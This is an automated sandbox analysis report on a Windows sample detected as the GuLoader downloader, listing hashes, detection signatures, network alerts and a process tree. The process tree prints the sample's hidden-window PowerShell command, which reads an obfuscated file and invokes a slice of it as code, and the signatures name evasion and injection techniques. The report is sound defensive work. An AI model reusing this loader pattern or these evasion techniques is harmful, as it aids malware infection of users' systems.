Edit tour
Windows
Analysis Report
You7ynHizy.exe
Overview
General Information
| Sample name: | You7ynHizy.exerenamed because original name is a hash value |
| Original sample name: | a2091538aaa8d84e6a73bee323daa339c64d4cb13d857a05742445f65fc66013.exe |
| Analysis ID: | 1587590 |
| MD5: | 98e8e7c349cbb65b53681757dc2959ae |
| SHA1: | 8fbb5f9c2a9e524c39ab6269a083353a898d5b57 |
| SHA256: | a2091538aaa8d84e6a73bee323daa339c64d4cb13d857a05742445f65fc66013 |
| Tags: | exeuser-adrian__luca |
| Infos: |   |
 | |
Detection
GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Early bird code injection technique detected
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected GuLoader
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Loading BitLocker PowerShell Module
Powershell drops PE file
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
You7ynHizy.exe (PID: 2100 cmdline:
"C:\Users\ user\Deskt op\You7ynH izy.exe" MD5: 98E8E7C349CBB65B53681757DC2959AE) 
powershell.exe (PID: 5036 cmdline: "powershel l.exe" -wi ndowstyle hidden "$E ventyrroma ners=Get-C ontent -ra w 'C:\User s\user\App Data\Local \downrange \Stutterie rs\samfrds elen\Celes taens.exo' ;$Uncrumbl ed=$Eventy rromaners. SubString( 54209,3);. $Uncrumble d($Eventyr romaners)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 5324 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
msiexec.exe (PID: 5692 cmdline: "C:\Window s\syswow64 \msiexec.e xe" MD5: 9D09DC1EDA745A5F87553048E57620CF)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security | ||
| JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security |
System Summary |   |
|---|
| Source: | Author: frack113: | ||
| Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-10T15:16:58.717092+0100 | 2803270 | 2 | Potentially Bad Traffic | 192.168.2.6 | 49917 | 142.250.185.110 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | Avira: | ||
| Source: | Avira: | ||
| Source: | ReversingLabs: | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
| Source: | Integrated Neural Analysis Model: | ||
| Source: | Static PE information: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Static PE information: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Code function: | 0_2_00402868 | |
| Source: | Code function: | 0_2_004065DA | |
| Source: | Code function: | 0_2_004059A9 | |
| Source: | JA3 fingerprint: | ||
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Code function: | 0_2_0040543E | |
System Summary | |
|---|
| Source: | File created: | Jump to dropped file | ||
| Source: | Code function: | 0_2_0040336C | |
| Source: | Code function: | 0_2_00404C7B | |
| Source: | Code function: | 2_2_0476DFE0 | |
| Source: | Code function: | 2_2_0719CC66 | |
| Source: | Static PE information: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Static PE information: | ||
| Source: | Classification label: | ||
| Source: | Code function: | 0_2_0040336C | |
| Source: | Code function: | 0_2_004046FF | |
| Source: | Code function: | 0_2_00402104 | |
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Static PE information: | ||
| Source: | WMI Queries: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Static PE information: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
Data Obfuscation | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Code function: | 2_2_0476CE94 | |
| Source: | Code function: | 2_2_0719B649 | |
| Source: | Code function: | 2_2_0719F927 | |
| Source: | Code function: | 2_2_08F841AD | |
| Source: | Code function: | 2_2_08F8454E | |
| Source: | Code function: | 8_2_04464AE0 | |
| Source: | Code function: | 8_2_04460A91 | |
| Source: | Code function: | 8_2_04463C96 | |
| Source: | Code function: | 8_2_04466B5E | |
| Source: | Code function: | 8_2_04465F7B | |
| Source: | Code function: | 8_2_044641D4 | |
| Source: | Code function: | 8_2_044647EE | |
| Source: | File created: | Jump to dropped file | ||
Hooking and other Techniques for Hiding and Protection | |
|---|
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
